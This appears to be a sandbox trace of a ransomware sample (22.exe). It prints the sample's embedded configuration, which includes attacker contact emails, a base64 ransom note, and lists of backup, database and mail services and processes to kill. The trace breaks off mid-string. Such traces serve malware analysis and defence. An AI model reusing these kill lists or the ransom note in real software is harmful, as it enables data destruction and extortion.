# Flog Txt Version 1 # Analyzer Version: 3.1.2 # Analyzer Build Date: Oct 28 2019 11:51:53 # Log Creation Date: 06.11.2019 04:56:15.509 Process: id = "1" image_name = "22.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\22.exe" page_root = "0x4f3c1000" os_pid = "0x938" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\22.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x93c [0022.927] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x254) returned 0x8d30a8 [0022.982] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x6) returned 0x8d3308 [0022.982] RtlInitAnsiString (in: DestinationString=0x46fc94, SourceString="NTDLL" | out: DestinationString="NTDLL") [0022.982] RtlAnsiStringToUnicodeString (in: DestinationString=0x46fc9c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0022.982] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0xc) returned 0x8d3330 [0022.982] RtlFreeAnsiString (AnsiString="N") [0022.982] RtlInitUnicodeString (in: DestinationString=0x46fca0, SourceString="NTDLL" | out: DestinationString="NTDLL") [0022.982] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x46fcac | out: BaseAddress=0x46fcac*=0x77130000) returned 0x0 [0022.983] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8d3330) returned 1 [0022.984] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8d3308) returned 1 [0022.984] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x6) returned 0x8d3308 [0022.984] RtlInitAnsiString (in: DestinationString=0x46fc94, SourceString="NTDLL" | out: DestinationString="NTDLL") [0022.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x46fc9c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0022.985] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0xc) returned 0x8d3330 [0022.985] RtlFreeAnsiString (AnsiString="N") [0022.985] RtlInitUnicodeString (in: DestinationString=0x46fca0, SourceString="NTDLL" | out: DestinationString="NTDLL") [0022.985] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x46fcac | out: BaseAddress=0x46fcac*=0x77130000) returned 0x0 [0022.985] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8d3330) returned 1 [0022.985] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8d3308) returned 1 [0022.986] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x6) returned 0x8d3308 [0022.986] RtlInitAnsiString (in: DestinationString=0x46fc94, SourceString="NTDLL" | out: DestinationString="NTDLL") [0022.986] RtlAnsiStringToUnicodeString (in: DestinationString=0x46fc9c, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0022.986] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0xc) returned 0x8d3330 [0022.986] RtlFreeAnsiString (AnsiString="N") [0022.986] RtlInitUnicodeString (in: DestinationString=0x46fca0, SourceString="NTDLL" | out: DestinationString="NTDLL") [0022.986] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x46fcac | out: BaseAddress=0x46fcac*=0x77130000) returned 0x0 [0022.986] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8d3330) returned 1 [0022.987] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8d3308) returned 1 [0022.989] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="advapi32.dll" | out: DestinationString="advapi32.dll") [0022.989] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x74d40000) returned 0x0 [0024.614] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0024.614] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x74b50000) returned 0x0 [0024.722] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="shell32.dll" | out: DestinationString="shell32.dll") [0024.722] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x75fd0000) returned 0x0 [0028.562] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") [0028.562] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x74b30000) returned 0x0 [0028.959] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x7) returned 0x8e0d68 [0028.959] RtlInitAnsiString (in: DestinationString=0x46fc94, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0028.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x46fc9c, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0 [0028.959] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0xe) returned 0x8e4ba0 [0028.959] RtlFreeAnsiString (AnsiString="S") [0028.959] RtlInitUnicodeString (in: DestinationString=0x46fca0, SourceString="SRVCLI" | out: DestinationString="SRVCLI") [0028.959] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x46fcac | out: BaseAddress=0x46fcac*=0x74b00000) returned 0x0 [0028.960] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8e4ba0) returned 1 [0028.960] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8e0d68) returned 1 [0028.960] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x9) returned 0x8e4b88 [0028.960] RtlInitAnsiString (in: DestinationString=0x46fc94, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0028.960] RtlAnsiStringToUnicodeString (in: DestinationString=0x46fc9c, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0 [0028.960] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x12) returned 0x8e4f70 [0028.960] RtlFreeAnsiString (AnsiString="N") [0028.960] RtlInitUnicodeString (in: DestinationString=0x46fca0, SourceString="NETUTILS" | out: DestinationString="NETUTILS") [0028.960] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x46fcac | out: BaseAddress=0x46fcac*=0x74b20000) returned 0x0 [0028.960] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8e4f70) returned 1 [0028.960] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8e4b88) returned 1 [0028.960] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="ole32.dll" | out: DestinationString="ole32.dll") [0028.960] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x755e0000) returned 0x0 [0029.936] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="oleaut32.dll" | out: DestinationString="oleaut32.dll") [0029.936] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="oleaut32.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x75220000) returned 0x0 [0030.415] RtlInitUnicodeString (in: DestinationString=0x46fd0c, SourceString="psapi.dll" | out: DestinationString="psapi.dll") [0030.415] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x46fd18 | out: BaseAddress=0x46fd18*=0x75140000) returned 0x0 [0030.418] FindResourceA (hModule=0x1e0000, lpName=0x7a69, lpType=0x539) returned 0x1f8048 [0030.418] LoadResource (hModule=0x1e0000, hResInfo=0x1f8048) returned 0x1f8058 [0030.418] LockResource (hResData=0x1f8058) returned 0x1f8058 [0030.418] SizeofResource (hModule=0x1e0000, hResInfo=0x1f8048) returned 0x1492 [0030.418] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x1492) returned 0x8e53b8 [0030.418] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x5) returned 0x8e0d88 [0030.418] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x100) returned 0x8e6858 [0030.418] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x100) returned 0x8e6960 [0030.418] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8e6960) returned 1 [0030.418] RtlFreeHeap (HeapHandle=0x8d0000, Flags=0x0, BaseAddress=0x8e6858) returned 1 [0030.418] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e4aa8 [0030.418] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e4908 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6858 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x4) returned 0x8e6878 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e6888 [0030.419] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6878, Size=0x8) returned 0x8e6878 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e68a8 [0030.419] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x46fc24, _Radix=0 | out: _EndPtr=0x46fc24*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 0 [0030.419] RtlReAllocateHeap (Heap=0x8d0000, Flags=0x8, Ptr=0x8e6878, Size=0xc) returned 0x8e68c8 [0030.419] RtlAllocateHeap (HeapHandle=0x8d0000, Flags=0x8, Size=0x18) returned 0x8e68e0 [0030.419] strtol (in: _Str="1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwN